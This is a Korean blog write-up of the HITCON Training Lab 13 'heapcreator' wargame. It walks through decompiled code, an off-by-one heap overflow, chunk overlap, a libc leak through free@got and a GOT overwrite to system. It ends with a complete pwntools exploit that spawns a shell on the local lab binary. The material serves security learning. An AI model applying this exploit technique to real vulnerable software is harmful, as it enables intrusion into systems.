tmxklab

hitcon training [LAB 13] 본문

War Game/hitcon training

hitcon training [LAB 13]

tmxk4221 2020. 7. 28. 19:34

1. 문제

 

1) mitigation확인

 

2) 문제 확인

 

3) 코드흐름 파악

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-10h]
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  while ( 1 )
  {
    menu();
    read(0, &buf, 4uLL);
    switch ( atoi(&buf) )
    {
      case 1:
        create_heap();
        break;
      case 2:
        edit_heap();
        break;
      case 3:
        show_heap();
        break;
      case 4:
        delete_heap();
        break;
      case 5:
        exit(0);
        return;
      default:
        puts("Invalid Choice");
        break;
    }
  }
}

 

 

3-2) create_heap()

unsigned __int64 create_heap()
{
  _QWORD *v0; // rbx
  int i; // [rsp+4h] [rbp-2Ch]
  size_t size; // [rsp+8h] [rbp-28h]
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !heaparray[i] )
    {
      heaparray[i] = malloc(0x10uLL);
      if ( !heaparray[i] )
      {
        puts("Allocate Error");
        exit(1);
      }
      printf("Size of Heap : ");
      read(0, &buf, 8uLL);
      size = atoi(&buf);
      v0 = heaparray[i];
      v0[1] = malloc(size);
      if ( !*((_QWORD *)heaparray[i] + 1) )
      {
        puts("Allocate Error");
        exit(2);
      }
      *(_QWORD *)heaparray[i] = size;
      printf("Content of heap:");
      read_input(*((void **)heaparray[i] + 1), size);
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v5;
    }
  }
  return __readfsqword(0x28u) ^ v5;
}
  • heaparray(전역변수)에 malloc(0x10)요청

  • heaparray[i][1]에 size만큼 malloc요청

  • heaparray[i][0]에 size값을 저장

  • heaparray[i][1]에 content값 저장

 

 

3-3) edit_heap()

unsigned __int64 edit_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, &buf, 4uLL);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( heaparray[v1] )
  {
    printf("Content of heap : ");
    read_input(*((void **)heaparray[v1] + 1), *(_QWORD *)heaparray[v1] + 1LL);
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}
  • heaparray[i]에 존재하면 heaparray[i][0] + 1 (size+1)만큼 heaparray[i][1] (content)에 content덮어 씌움

  • 엄청 수상한 부분이다. size만큼 받는게 아니라 size+1만큼 받으므로

 

3-4) show_heap()

unsigned __int64 show_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, &buf, 4uLL);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( heaparray[v1] )
  {
    printf("Size : %ld\nContent : %s\n", *(_QWORD *)heaparray[v1], *((_QWORD *)heaparray[v1] + 1));
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}
  • heaparray에 존재하는 모든 각각의 Chunk size와 저장된 값(content)출력

  • printf(heaparray[v1].size, heaparray[v1].content);

 

3-5) delete_heap()

unsigned __int64 delete_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, &buf, 4uLL);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( heaparray[v1] )
  {
    free(*((void **)heaparray[v1] + 1));
    free(heaparray[v1]);
    heaparray[v1] = 0LL;
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}
  • heaparray[v1][1] (content)먼저 free하고 heaparray[v1]를 free

  • free(heaparray[v1].content), free(heaparray[v1].heap), heaparray[v1] = \x0

 

전역변수)

 

구조)

 


2. 접근방법

 

1) 취약점이 발생하는 곳

x64 system에서는 chunk를 할당할 경우 16byte 배수로 할당하게 된다.

여기서 create_heap()을 2번 호출하여 content를 담는 chunk의 size를 각각 24, 25bytes만큼 요청하고 chunk를 확인해보겠다.

 

  • heaparray(빨간색 박스)2개가 생성되고 content를 담는 Chunk 2개(노란색 박스) 생성되었다.

  • 여기서 size를 24bytes를 요청하였는데 실제 chunk가 할당받는 크기는 0x20인 것을 확인할 수 있으며, 여기서 한 바이트 더 큰 25bytes를 요청할 때부터 0x30 크기의 chunk를 할당받는 것을 확인할 수 있다.

  • 사실 여기까지는 아무 문제가 없다. 왜냐하면 실질적으로 0x20만큼 할당받은 chunk는 다음 chunk의 prev_size(0x8) 부분까지 포함되기 때문이다.

 

하지만, edit_heap()에서 문제가 발생한다.

  • 아까 위에서 코드를 봤을 때처럼 0x18(24)만큼 입력을 받는게 아니라 1byte 더 받아서 총 0x19(25) bytes를 입력으로 받는다.

  • 결국 25bytes를 꽉 채워서 받게 되면 1byte overflow가 발생하여 다음 chunk의 size값이 변경되는 것을 확인할 수 있다.

 

2) delete_heap() → free() (GOT Overwrite)

문제에서는 magic함수가 없으므로 쉘을 따는 것을 목표로 한다.

if ( heaparray[v1] )
{
  free(*((void **)heaparray[v1] + 1));
  free(heaparray[v1]);
  heaparray[v1] = 0LL;
  puts("Done !");
}
  • delete_heap함수의 일부분을 가져온 것이다.

  • 해당 인덱스에 널 값이 없으면 content Chunk를 먼저 free하고 heap Chunk를 free시킨 다음 heaparray배열의 해당 인덱스 부분에 널 값을 넣는다.

  • 위 그림은 content Chunk를 free시키기 직전이며 free함수의 인자 값으로 content Chunk에서 data부분인 0x603030를 받는 것을 알 수 있다.

  • 나중에 free() GOT Overwrite가 되면 (free@got→ system) 인자 값으로 "/bin/sh"을 주면 될 것이다.

 

3) show_heap() → free() (leak)

if ( heaparray[v1] )
{
  printf("Size : %ld\nContent : %s\n", *(_QWORD *)heaparray[v1], *((_QWORD *)heaparray[v1] + 1));
  puts("Done !");
}
  • show_heap()의 일부분을 가져온 것이다.

  • heap Chunk에 저장된 Input size값과 content Chunk에 저장된 content값을 출력한다.

  • 위 그림은 printf로 content에 저장된 값을 출력하기 위해 content chunk의 주소 값을 가져오는 과정을 나타낸다.

  • 즉, heaparray(전역변수)에 해당하는 인덱스를 찾으면 heap chunk에 저장된 content chunk의 주소 값을 가져오는 과정이다.

  • 결국 arg[2]에 content chunk의 주소 값이 저장된 것을 확인할 수 있다.

  • 이후에 heap chunk에 content chunk의 주소 값이 아니라 free@got를 넣으면 실제 free함수의 주소 값을 leak할 수 있을 것이다.

 

4) 공격 프로세스

4-1) 두 개의 chunk를 생성하고 1byte overflow를 일으킨다.

  • size값은 heap chunk와 content chunk를 포함할 수 있는 size로 정함 → 0x20 * 2 = 0x40

 

4-2) 두 번째 chunk를 free시킨다.

  • heap(B)는 size값이 0x40이므로 fastbin 0x40에 들어가고, content(B)는 size값이 0x20이므로 fastbin 0x20에 들어간다.

 

4-3) 다시 한 개의 chunk를 생성한다.

  • fastbin에 있는 content(B)와 heap(B)는 각각 size에 맞게 다시 재할당할 수 있다.

  • content(B) → heap(C) , heap(B) → content(C)

  • content(C)에 입력 값을 넣으면 size가 0x40이므로 heap(C)의 chunk를 건드릴 수 있으며

  • heap(C) chunk의 inputs size(C) 부분과 content(C)부분에 값을 작성해준다.

 

4-4) show_heap()을 호출하여 free()의 주소 값을 leak한다.

 

4-5) 두 번째 chunk를 통해 GOT Overwrite를 한다.(free@got → system)

 

4-6) delete_heap()을 호출하여 첫 번째 chunk를 free한다.

 

 


3. 풀이

 

1) 익스 코드

from pwn import *

#context.log_level = "debug"

p = process("./heapcreator")
e = ELF("./heapcreator")
libc = e.libc
#gdb.attach(p)

free_got = e.got['free']
free_offset = libc.symbols['free']
system_offset = libc.symbols['system']

def create_heap(size, content):
	p.sendlineafter(":", "1")
	p.sendlineafter(": ", str(size))
	p.sendlineafter(":", content)
	
def edit_heap(idx, content):
	p.sendlineafter(":", "2")
	p.sendlineafter(":", str(idx))
	p.sendlineafter(": ", content)

def show_heap(idx):
	p.sendlineafter(":", "3")
	p.sendlineafter(":", str(idx))
	
def del_heap(idx):
	p.sendlineafter(":", "4")
	p.sendlineafter(":", str(idx))

create_heap(24, "A"*8)
create_heap(24, "B"*8)

payload = "/bin/sh\x00"
payload += "A"*16
payload += "\x41"

edit_heap(0, payload)
del_heap(1)

create_heap(48, "A"*32 + p64(8) + p64(free_got))
show_heap(1)

p.recvuntil("Content : ")
free = u64(p.recv(6).ljust(8, '\x00'))
libc_base = free - free_offset
system = libc_base + system_offset

edit_heap(1, p64(system))
del_heap(0)

p.interactive()

 

2) 실행결과

 

 


4. 몰랐던 개념

1) main_arena를 통해 leak하여 푸는 방법

 

[Hicon training] LAB 13

1. 문제 1) mitigation 확인 카나리, NX가 걸려있다 2) 문제 확인 힙 문제로 보인다. 생성, 수정, 확인, 삭제가 가능하고 5번을 입력하면 종료가 된다 3) 코드흐름 파악 create_heap() 함수 unsigned __int64 crea..

wogh8732.tistory.com

 

솔직히 취약점은 쉽게 찾았으나 문제를 어떻게 풀어야되는지 헤매고 노트에 구조 그려가면서 풀다가 다른 사람 풀이를 참고하게 되었다. ㅠ(JSec님 블로그)

 

[Hitcon-Training] Lab13 - heapcreator (heap memory alignment)

Heap 영역의 memory alignment에 관한 문제이다.​IDA로 열어보면 다음과 같다.먼저 이런 형태의 문제...

blog.naver.com

아직 부족함을 많이 느끼게 되는... 더 노력해야겠다는 생각이 드는 계기가 되었다.

'War Game > hitcon training' 카테고리의 다른 글

hitcon training [LAB 15]  (0) 2020.08.02
hitcon training [LAB 14]  (0) 2020.07.31
hitcon training [LAB 12]  (0) 2020.07.27
hitcon training [LAB 11]  (0) 2020.07.25
hitcon training [LAB 10]  (0) 2020.07.21
Comments